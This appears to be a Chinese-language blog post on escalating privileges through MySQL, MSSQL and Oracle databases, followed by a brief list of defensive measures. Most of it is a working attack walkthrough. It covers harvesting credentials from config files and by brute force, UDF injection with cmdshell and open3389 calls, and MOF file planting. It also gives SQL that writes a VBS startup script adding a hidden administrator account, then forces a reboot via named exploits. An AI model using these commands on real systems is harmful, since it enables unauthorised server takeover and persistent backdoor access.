天天看点

数据库提权数据库提权

数据库提权

Mysql

获取mysql账号密码

  • 查看网站配置文件
    • conn、config、data、sql、common 、inc
      • 一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:1、登录到mysql中,为root进行远程访问的授权,执行下面的命令: mysql> GRANT ALL PRIVILEGES ON . TO [email protected]"%" IDENTIFIED BY “root”;mysql> flush privileges; 第一句中"%“表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如:GRANT ALL PRIVILEGES ON . TO [email protected]“%” IDENTIFIED BY “root”;第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
    • 查看user.myi

      数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd

      • 参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html
    • .通过暴力破解得到(hscan、Bruter、hydra、脚本木马)
      • webshell破解、菜刀数据库连接、大马777.php、其它工具爆破

利用udf提权

  • 一、上传udf.dll
    • 主要解决mysql不能远程连接问题
    • 小于mysql5.1版本
    • C:\WINDOWS\udf.dll    或   C:\WINDOWS\system32\udf.dll
    • 等于mysql5.1版本
    • %mysql%\plugin\udf.dll   用 select @@plugin_dir 查询plugin路径
    • 默认 C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll 因为我们这里是在C:\php\MySQL-5.1.50\lib\plugin\udf.dll
  • 1、UDF提权专用webshell,导出dll、再执行命令。
  • 2、Phpspy.php的Mysql上传(提示 “上传失败、原因:Result consisted of more than one row”、实际上大多数已上传成功),再连接mysql执行命令。
  • 3、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。
  • 二、执行SQL
    • select cmdshell(‘net user’);
    • select open3389();
  • 三、低权限获取root密码

利用mod提权

  • 1、mysql mof漏洞介绍:
    • http://www.exploit-db.com/exploits/23083/
  • 2、MOF漏洞工具与脚本实战:
    • http://www.myhack58.com/Article/html/3/8/2013/38264.htm
  • 3、通过mysql数据库命令写入VBS脚本;
    • 一、通过工具提权
    • 二、手工通过webshell 数据库语句建帐号
      • 1.找个可写目录,上传mof文件
      • 2.执行sql
        • select load_file(‘C:\wmpub\moon.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/moon.mof’;
      • 注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考第二个连接地址。
  • 4、直接通过Webshell的Mysql写入启动项;
    • C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
    • mysql>drop database test1;
    • mysql> create database test1;
    • mysql> use test1;
    • mysql> create table a (cmd text);
    • mysql>insert into a values (“set wshshell=createobject (”“wscript.shell”")");
    • mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
    • mysql>insert into a values (“b=wshshell.run (”“cmd.exe /c net localgroup Administrators best /add”",0)");
    • 注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
    • mysql>select * from a;
    • mysql>select * from a into outfile “c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs”;
    • 最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034

Mssql

分类

  • mssql提权主要分为弱口令与溢出两类提权。
  • 通过弱口令连接直接提权
  • 溢出类Mssql

工具提权

Oracle

Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。

提权方法参考如下地址:

http://blog.csdn.net/sezvboyrul/article/details/2855401

http://wenku.baidu.com/link?url=DAU-gUL4EpfniDqH3TV4lvQ4W9HRRm-sWCzFqVNJWSnBgfCfm0iu-6DunEAcFgI0STlvJCgNgbq2BwPalWIcaptP72SDTcq77BtpRRvPSGG

安全防御

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。

2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。

3、及时升级数据库补丁。

4、安装Waf进行防御。

5、购买数据库审计设备

继续阅读